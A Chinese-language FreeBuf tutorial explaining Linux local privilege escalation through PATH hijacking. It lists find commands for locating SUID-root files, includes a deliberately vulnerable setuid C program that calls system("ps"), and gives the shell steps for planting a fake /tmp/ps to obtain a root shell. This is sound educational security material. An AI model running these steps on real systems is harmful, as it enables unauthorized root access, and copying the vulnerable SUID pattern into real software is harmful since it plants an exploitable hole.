freeBuf
linux环境下利用环境变量实现本地提权
2022-01-21 23:35:23
所属地 香港

当我们获取到了一个web权限或者本地普通用户权限我们可以使用以下命令来发现有suid权限的文件或者命令。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

这里先大概讲一下大概的利用思路,假如我们发现了shell这个可执行程序有suid权限,我们通过运行它,发现它执行的是ps这个系统命令,然后我们发现可以通过设置环境变量来替换系统命令ps,导致系统在执行shell这个程序时,执行了我们在tmp目录下的ps文件中写入的代码,从而实现本地提权。

首先我们要明白shell文件不是由我们来制作的,而是root用户已经制作好了,下面模拟的是root用户制作shell这个文件的过程

demo.c的内容

#include<unistd.h>
void main()
{  setuid(0);
   setgid(0);
   system("ps");   //前面那两个的作用也就是以root权限去运行ps命令
}
root#  gcc demo.c -o shell    #把demo.c这个文件编译成可执行文件,并命名为shell
#这里的操作模拟的是我们低权限用户设置环境变量,替换ps命令的过程

cd /tmp 
echo "/bin/bash" > ps     或者   cp /bin/sh /tmp/ps
chmod 777 ps
export PATH=/tmp:$PATH          #把tmp设置在环境变量头部让系统在执行ps命令的时候先检索到tmp目录下的ps
ehco $PATH                      #检查是否成功把/tmp  设置在了环境变量的头部
./shell					      #执行shell文件,触发我们劫持的ps命令(此时sysyem运行的ps这个命令是root权限),但是此时实际执行的是  /bin/sh   ,也就是相当于以root权限去执行/bin/sh从而实现提权

首先环境变量劫持提权的条件,就是系统中存在带有suid的文件(例如:shell这个文件),且这个文件中必须有以root权限去执行系统命令(即ps);这样我们就可以命名一个和这个系统命令相同的文件(/tmp/ps),将/bin/bash写入到ps文件中, 再将存放这个文件的路径加入环境变量中(即/tmp);当系统去执行这个带有系统命令的文件时(即/tmp/shell)(这里的shell文件只要是在我们能访问到的目录即可)。因为shell文件有suid权限,并且shell文件中会以root执行系统命令ps,所以由于我们把tmp设置在环境变量头部,所以就会直接执行我们命名和这个系统命令相同的文件(即/tmp/ps),而非真实的系统命令(/bin/ps),又因为/tmp/ps文件里面是/bin/bash,所以就相当于我们以root执行了/bin/bash 因此会返回一个root权限,从而实现劫持环境变量提权。

参考资料:参考资料从上到下,为从基础到进阶的排列

https://blog.csdn.net/nicai321/article/details/122275160

https://blog.csdn.net/weixin_49340699/article/details/118801756?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.pc_relevant_aa&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.pc_relevant_aa&utm_relevant_index=1

https://blog.csdn.net/weixin_42498909/article/details/117157387?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.pc_relevant_aa&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.pc_relevant_aa&utm_relevant_index=5

https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html#linuxshell 强烈推荐阅读p神的这篇文章

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏